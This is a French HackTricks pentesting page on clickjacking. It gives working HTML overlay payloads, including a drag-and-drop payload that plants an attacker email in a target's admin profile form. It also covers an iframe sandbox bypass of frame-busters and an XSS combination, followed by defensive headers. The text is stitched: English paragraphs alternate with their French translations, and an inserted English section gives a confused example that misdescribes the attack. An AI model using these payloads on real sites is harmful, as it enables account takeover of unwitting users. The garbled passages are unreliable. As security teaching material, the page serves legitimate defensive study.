hacktricks/pentesting-web/clickjacking.md

# Clickjacking

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Qu'est-ce que le Clickjacking

Le Clickjacking est une attaque qui **trompe** un **utilisateur** en le faisant **cliquer** sur un **élément** d'une page web qui est **invisible** ou déguisé en un autre élément. Cela peut amener les utilisateurs à télécharger involontairement des logiciels malveillants, à visiter des pages web malveillantes, à fournir des informations d'identification ou sensibles, à transférer de l'argent ou à acheter des produits en ligne. (De [ici](https://www.imperva.com/learn/application-security/clickjacking/)).

### Astuce de préremplissage de formulaires

Il est parfois possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut exploiter ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.

### Remplir un formulaire avec Drag\&Drop

Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'e-mail et/ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **faire glisser et déposer** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).

### Charge utile de base
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Charge utile à plusieurs étapes

Clickjacking can be made more effective by using a multistep payload. In this technique, the attacker divides the clickjacking attack into multiple steps, each requiring the victim to perform a specific action.

Le clickjacking peut être rendu plus efficace en utilisant une charge utile à plusieurs étapes. Dans cette technique, l'attaquant divise l'attaque de clickjacking en plusieurs étapes, chacune nécessitant que la victime effectue une action spécifique.

The first step involves tricking the victim into clicking on a seemingly harmless element on the attacker-controlled page. This could be a button, a link, or any other interactive element.

La première étape consiste à tromper la victime en cliquant sur un élément en apparence inoffensif sur la page contrôlée par l'attaquant. Il peut s'agir d'un bouton, d'un lien ou de tout autre élément interactif.

Once the victim performs this action, the attacker's payload is loaded onto the page. This payload can be a malicious script or code that performs unauthorized actions on behalf of the victim.

Une fois que la victime effectue cette action, la charge utile de l'attaquant est chargée sur la page. Cette charge utile peut être un script ou un code malveillant qui effectue des actions non autorisées au nom de la victime.

The second step involves tricking the victim into performing another action, such as submitting a form or clicking on another element. This action triggers the execution of the payload, allowing the attacker to carry out their malicious activities.

La deuxième étape consiste à tromper la victime pour qu'elle effectue une autre action, comme soumettre un formulaire ou cliquer sur un autre élément. Cette action déclenche l'exécution de la charge utile, permettant à l'attaquant de mener à bien ses activités malveillantes.

By dividing the clickjacking attack into multiple steps, the attacker increases the chances of successfully tricking the victim and executing their payload. This technique can be particularly effective when combined with social engineering tactics to manipulate the victim's behavior.

En divisant l'attaque de clickjacking en plusieurs étapes, l'attaquant augmente les chances de tromper avec succès la victime et d'exécuter sa charge utile. Cette technique peut être particulièrement efficace lorsqu'elle est combinée à des tactiques d'ingénierie sociale pour manipuler le comportement de la victime.
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Payload Drag\&Drop + Clic

Clickjacking is a technique that tricks users into clicking on something different from what they perceive. One way to achieve this is by combining the drag and drop functionality with a click payload.

#### How it works

1. The attacker creates a malicious webpage that contains an invisible element, such as an iframe, positioned on top of a legitimate button or link.
2. The attacker uses JavaScript to capture the user's click event on the invisible element.
3. When the user clicks on the visible button or link, the click event is actually triggered on the invisible element, executing the attacker's payload.

#### Example

```html
<!DOCTYPE html>
<html>
<head>
  <style>
    #invisible {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      opacity: 0;
      z-index: 9999;
    }
  </style>
</head>
<body>
  <button onclick="alert('Legitimate button clicked!')">Click me</button>
  <iframe id="invisible" src="http://malicious-website.com"></iframe>
</body>
</html>
```

In this example, the attacker creates an invisible iframe that covers the entire webpage. When the user clicks on the "Click me" button, the click event is actually triggered on the invisible iframe, which loads the malicious website and executes the attacker's payload.

#### Mitigation

To protect against clickjacking attacks, you can implement the following measures:

- Implement X-Frame-Options header to prevent your website from being loaded within an iframe.
- Use the Content-Security-Policy header to restrict which domains can embed your website.
- Implement frame-busting JavaScript code to prevent your website from being loaded within an iframe.
- Educate users about the risks of clicking on unfamiliar or suspicious links.

By implementing these measures, you can significantly reduce the risk of clickjacking attacks.
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking

Si vous avez identifié une attaque **XSS qui nécessite que l'utilisateur clique** sur un élément pour **déclencher** l'XSS et que la page est **vulnérable au clickjacking**, vous pouvez l'exploiter pour tromper l'utilisateur en le faisant cliquer sur le bouton/lien.\
Exemple:\
_Vous avez trouvé un **self XSS** dans certains détails privés du compte (des détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **clickjacking** et vous pouvez **pré-remplir** le **formulaire** avec les paramètres GET._\
\_\_Un attaquant pourrait préparer une attaque **clickjacking** sur cette page en **pré-remplissant** le **formulaire** avec la **charge utile XSS** et en trompant l'utilisateur pour qu'il **soumette** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'utilisateur exécutera l'XSS.

## Comment éviter le Clickjacking

### Défenses côté client

Il est possible d'exécuter des scripts côté client qui effectuent certains ou tous les comportements suivants pour prévenir le Clickjacking :

* vérifier et imposer que la fenêtre d'application actuelle est la fenêtre principale ou supérieure,
* rendre tous les frames visibles,
* empêcher de cliquer sur des frames invisibles,
* intercepter et signaler les attaques potentielles de clickjacking à un utilisateur.

#### Contournement

Comme les bloqueurs de frames sont en JavaScript, les paramètres de sécurité du navigateur peuvent empêcher leur fonctionnement ou même le navigateur peut ne pas prendre en charge JavaScript. Une solution de contournement efficace pour un attaquant contre les bloqueurs de frames est d'utiliser l'**attribut `sandbox` de l'iframe HTML5**. Lorsque cela est défini avec les valeurs `allow-forms` ou `allow-scripts` et que la valeur `allow-top-navigation` est omise, le script du bloqueur de frames peut être neutralisé car l'iframe ne peut pas vérifier s'il s'agit ou non de la fenêtre supérieure :
```markup
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Les valeurs `allow-forms` et `allow-scripts` permettent d'autoriser les actions spécifiées dans l'iframe, mais la navigation de niveau supérieur est désactivée. Cela empêche les comportements de rupture de frame tout en permettant la fonctionnalité sur le site ciblé.

Selon le type d'attaque par détournement de clics, **vous devrez peut-être également autoriser** `allow-same-origin` et `allow-modals` ou [même plus](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). Lors de la préparation de l'attaque, vérifiez simplement la console du navigateur, elle peut vous indiquer les autres comportements que vous devez autoriser.

### X-Frame-Options

L'en-tête de réponse HTTP **`X-Frame-Options`** peut être utilisé pour indiquer si un navigateur doit être **autorisé** ou non à afficher une page dans une balise `<frame>` ou `<iframe>`. Les sites peuvent l'utiliser pour éviter les attaques par détournement de clics en veillant à ce que **leur contenu ne soit pas intégré dans d'autres sites**. Définissez l'en-tête **`X-Frame-Options`** pour toutes les réponses contenant du contenu HTML. Les valeurs possibles sont :

* `X-Frame-Options: deny` qui **empêche tout domaine d'encadrer le contenu** (_Valeur recommandée_)
* `X-Frame-Options: sameorigin` qui **autorise uniquement le site actuel** à encadrer le contenu.
* `X-Frame-Options: allow-from https://trusted.com` qui **autorise le 'uri' spécifié** à encadrer cette page.
* Vérifiez les limitations ci-dessous car **cela échouera si le navigateur ne le prend pas en charge**.
* D'autres navigateurs prennent en charge la nouvelle directive **CSP frame-ancestors à la place**. Quelques-uns prennent en charge les deux.

### Directive frame-ancestors de la politique de sécurité du contenu (CSP)

La protection contre le détournement de clics recommandée consiste à incorporer la directive **`frame-ancestors`** dans la politique de sécurité du contenu de l'application.\
La directive **`frame-ancestors 'none'`** a un comportement similaire à la directive **X-Frame-Options `deny`** (_Personne ne peut encadrer la page_).\
La directive **`frame-ancestors 'self'`** est largement équivalente à la directive **X-Frame-Options `sameorigin`** (_seul le site actuel peut l'encadrer_).\
La directive **`frame-ancestors trusted.com`** est largement équivalente à la directive **X-Frame-Options** `allow-from` (_seul le site de confiance peut l'encadrer_).

La CSP suivante autorise uniquement les frames du même domaine :

`Content-Security-Policy: frame-ancestors 'self';`

Consultez la documentation suivante pour plus de détails et des exemples plus complexes :

* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)

### Limitations <a href="#limitations" id="limitations"></a>

* **Prise en charge du navigateur :** Les directives CSP frame-ancestors ne sont pas encore prises en charge par tous les principaux navigateurs.
* **X-Frame-Options a la priorité :** La section "Relation avec X-Frame-Options" de la spécification CSP indique : "_Si une ressource est fournie avec une politique qui inclut une directive appelée frame-ancestors et dont la disposition est "enforce", alors l'en-tête X-Frame-Options DOIT être ignoré_", mais Chrome 40 et Firefox 35 ignorent la directive frame-ancestors et suivent plutôt l'en-tête X-Frame-Options.

## Références

* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)

<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** avec les outils communautaires les plus avancés au monde.\
Accédez-y dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>